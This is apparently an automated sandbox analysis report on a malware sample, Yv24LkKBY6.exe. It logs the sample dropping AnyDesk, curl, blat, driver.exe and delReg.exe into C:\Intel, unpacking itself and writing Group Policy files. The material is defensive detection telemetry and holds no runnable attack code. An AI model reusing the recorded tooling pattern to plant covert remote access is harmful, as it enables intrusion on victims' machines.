Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msvcp110_win.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dhcpcsvc.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: edgegdi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windowscodecs.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: thumbcache.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: policymanager.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msvcp110_win.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: propsys.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: linkinfo.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntshrui.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: srvcli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cscapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: textshaping.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dwmapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: textinputframework.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: coreuicomponents.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: coremessaging.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wtsapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wbemcomn.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: amsi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: userenv.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: version.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dbghelp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: symsrv.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dataexchange.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: d3d11.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dcomp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: dxgi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: twinapi.appcore.dll
Source: C:\Intel\curl.exe	Section loaded: edgegdi.dll
Source: C:\Intel\curl.exe	Section loaded: secur32.dll
Source: C:\Intel\curl.exe	Section loaded: sspicli.dll
Source: C:\Intel\curl.exe	Section loaded: mswsock.dll
Source: C:\Intel\curl.exe	Section loaded: dnsapi.dll
Source: C:\Intel\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Intel\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: edgegdi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netapi32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: netutils.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wkscli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: srvcli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptsp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: rsaenh.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msasn1.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: edgegdi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: textshaping.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: textinputframework.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: coreuicomponents.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: coremessaging.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\AnyDesk\AnyDesk.exe	Section loaded: wintypes.dll
Source: C:\Intel\dc.exe	Section loaded: apphelp.dll
Source: C:\Intel\dc.exe	Section loaded: wsock32.dll
Source: C:\Intel\dc.exe	Section loaded: version.dll
Source: C:\Intel\dc.exe	Section loaded: winmm.dll
Source: C:\Intel\dc.exe	Section loaded: mpr.dll
Source: C:\Intel\dc.exe	Section loaded: wininet.dll
Source: C:\Intel\dc.exe	Section loaded: userenv.dll
Source: C:\Intel\dc.exe	Section loaded: edgegdi.dll
Source: C:\Intel\dc.exe	Section loaded: uxtheme.dll
Source: C:\Intel\dc.exe	Section loaded: windows.storage.dll
Source: C:\Intel\dc.exe	Section loaded: wldp.dll
Source: C:\Intel\dc.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\dc.exe	Section loaded: sspicli.dll
Source: C:\Intel\dc.exe	Section loaded: wbemcomn.dll
Source: C:\Intel\dc.exe	Section loaded: amsi.dll
Source: C:\Intel\dc.exe	Section loaded: profapi.dll
Source: C:\Intel\dc.exe	Section loaded: sxs.dll
Source: C:\Intel\dc.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fhsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msidle.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fhcfg.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: efsutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncasvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: httpprxp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wpdbusenum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceconnectapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: seclogon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Intel\dc.exe	Section loaded: wsock32.dll
Source: C:\Intel\dc.exe	Section loaded: version.dll
Source: C:\Intel\dc.exe	Section loaded: winmm.dll
Source: C:\Intel\dc.exe	Section loaded: mpr.dll
Source: C:\Intel\dc.exe	Section loaded: wininet.dll
Source: C:\Intel\dc.exe	Section loaded: userenv.dll
Source: C:\Intel\dc.exe	Section loaded: edgegdi.dll
Source: C:\Intel\dc.exe	Section loaded: uxtheme.dll
Source: C:\Intel\dc.exe	Section loaded: windows.storage.dll
Source: C:\Intel\dc.exe	Section loaded: wldp.dll
Source: C:\Intel\dc.exe	Section loaded: kernel.appcore.dll
Source: C:\Intel\dc.exe	Section loaded: sspicli.dll
Source: C:\Intel\dc.exe	Section loaded: wbemcomn.dll
Source: C:\Intel\dc.exe	Section loaded: amsi.dll
Source: C:\Intel\dc.exe	Section loaded: profapi.dll
Source: C:\Intel\dc.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncasvc.dll

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Intel\dc.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Source: C:\Intel\AnyDesk\AnyDesk.exe

Window found: window name: SysTabControl32

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe

File opened: C:\Windows\SysWOW64\msftedit.DLL

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb] source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000022.00000000.20288732251.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000000.20311294063.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000002.20326280428.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000000.20328578801.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000002.20360446525.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000000.20362870597.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.20385779265.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.20394155958.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.20388028622.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.20416665272.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.20396813028.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000032.00000002.20546299739.00000000002DD000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_loader\AnyDesk.pdb source: svchost.exe, 0000002A.00000002.20535133705.000000000165A000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20487521906.000000000165A000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000036.00000000.20555806082.000000000165A000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\win_dwm\win_dwm.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\win_dwm\win_dwm.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\ashakhmut\Projects\anydesk\deps\win_system_id\build\win_system_id_dll.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: SAS.pdbR source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000022.00000000.20288732251.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000000.20311294063.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000002.20326280428.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000000.20328578801.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000002.20360446525.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000000.20362870597.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.20385779265.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.20394155958.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.20388028622.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.20416665272.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.20396813028.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000032.00000002.20546299739.00000000002DD000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: SAS.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Intel\svchost.exe	Unpacked PE file: 42.2.svchost.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\svchost.exe	Unpacked PE file: 44.2.svchost.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\svchost.exe	Unpacked PE file: 45.2.svchost.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 47.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 48.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 49.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 53.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Intel\AnyDesk\AnyDesk.exe	Unpacked PE file: 54.2.AnyDesk.exe.400000.0.unpack .text:ER;.itext:W;.rdata:R;.data:W;.reloc:R; vs .text:ER;.itext:ER;.rdata:R;.data:W;.reloc:R;

Source: C:\Intel\curl.exe

Code function: 34_2_001E1CE0 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoA,VerifyVersionInfoA,VerifyVersionInfoA,LoadLibraryA,GetProcAddress,

34_2_001E1CE0

Source: Yv24LkKBY6.exe	Static PE information: real checksum: 0x41877 should be: 0xe9edd
Source: ShellEh6055.dll.40.dr	Static PE information: real checksum: 0x0 should be: 0x128e9
Source: delReg.exe.40.dr	Static PE information: real checksum: 0x0 should be: 0x13839
Source: driver.exe.34.dr	Static PE information: real checksum: 0x0 should be: 0x52e17
Source: 7z.dll.40.dr	Static PE information: real checksum: 0x0 should be: 0x4e196
Source: blat.exe.35.dr	Static PE information: real checksum: 0x0 should be: 0x48812
Source: ShellEh6055x64.dll.40.dr	Static PE information: real checksum: 0x0 should be: 0x21e91
Source: Tray.dll.40.dr	Static PE information: real checksum: 0x0 should be: 0x1919f
Source: curl.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x1bceac
Source: unins000.exe.40.dr	Static PE information: real checksum: 0x0 should be: 0x131f98

Source: 7z.dll.40.dr	Static PE information: section name: .sxdata
Source: Tray.dll.40.dr	Static PE information: section name: .shared

Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_0221A524 pushfd ; retn 0040h	0_3_0221A525
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_0221A22C pushfd ; retn 0040h	0_3_0221A22D
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_02216D60 pushfd ; retn 0040h	0_3_02216D61
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_02216D60 pushfd ; retn 0040h	0_3_02216D61
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_02216A94 pushfd ; retn 0040h	0_3_02216A95
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_02216A94 pushfd ; retn 0040h	0_3_02216A95
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_02203943 pushfd ; ret	0_3_02203959
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_02216D60 pushfd ; retn 0040h	0_3_02216D61
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_02216D60 pushfd ; retn 0040h	0_3_02216D61
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_02216A94 pushfd ; retn 0040h	0_3_02216A95
Source: C:\Users\user\Desktop\Yv24LkKBY6.exe	Code function: 0_3_02216A94 pushfd ; retn 0040h	0_3_02216A95
Source: C:\Intel\curl.exe	Code function: 34_2_002301E0 push ecx; mov dword ptr [esp], ecx	34_2_002301E1
Source: C:\Intel\curl.exe	Code function: 34_2_00230250 push ecx; mov dword ptr [esp], ecx	34_2_00230251
Source: C:\Intel\curl.exe	Code function: 34_2_002542B0 push ecx; mov dword ptr [esp], edx	34_2_002542B1
Source: C:\Intel\curl.exe	Code function: 34_2_00264750 push ecx; mov dword ptr [esp], ecx	34_2_00264751
Source: C:\Intel\curl.exe	Code function: 34_2_00286F40 push ecx; mov dword ptr [esp], edx	34_2_00286F41
Source: C:\Intel\curl.exe	Code function: 34_2_00297400 push ecx; mov dword ptr [esp], ecx	34_2_00297401
Source: C:\Intel\curl.exe	Code function: 34_2_0029F620 push ecx; mov dword ptr [esp], ecx	34_2_0029F621
Source: C:\Intel\curl.exe	Code function: 34_2_001C9903 pushfd ; retf 0030h	34_2_001C9904
Source: C:\Intel\curl.exe	Code function: 34_2_00267980 push ecx; mov dword ptr [esp], ecx	34_2_00267981
Source: C:\Intel\curl.exe	Code function: 34_2_00269D50 push ecx; mov dword ptr [esp], ecx	34_2_00269D51
Source: C:\Intel\curl.exe	Code function: 34_2_002C7F05 push ecx; ret	34_2_002C7F18
Source: C:\Intel\driver.exe	Code function: 40_2_0040106C push 00000BADh; ret	40_2_00401078
Source: C:\Intel\driver.exe	Code function: 40_2_00442470 push eax; ret	40_2_004424F8
Source: C:\Intel\driver.exe	Code function: 40_2_00437778 push ecx; mov dword ptr [esp], edx	40_2_0043777F
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_00403DC4 push eax; ret	41_2_00403E00
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_00407840 push 0040786Ch; ret	41_2_00407864
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_00407610 push 00407661h; ret	41_2_00407659
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_004079AC push 004079D8h; ret	41_2_004079D0
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_00414560 push 004146DCh; ret	41_2_004146D4
Source: C:\Intel\Trays\Trays.exe	Code function: 41_2_00414A08 push 00414A34h; ret	41_2_00414A2C

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6782159F-1D6C.pma
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\SmartScreen
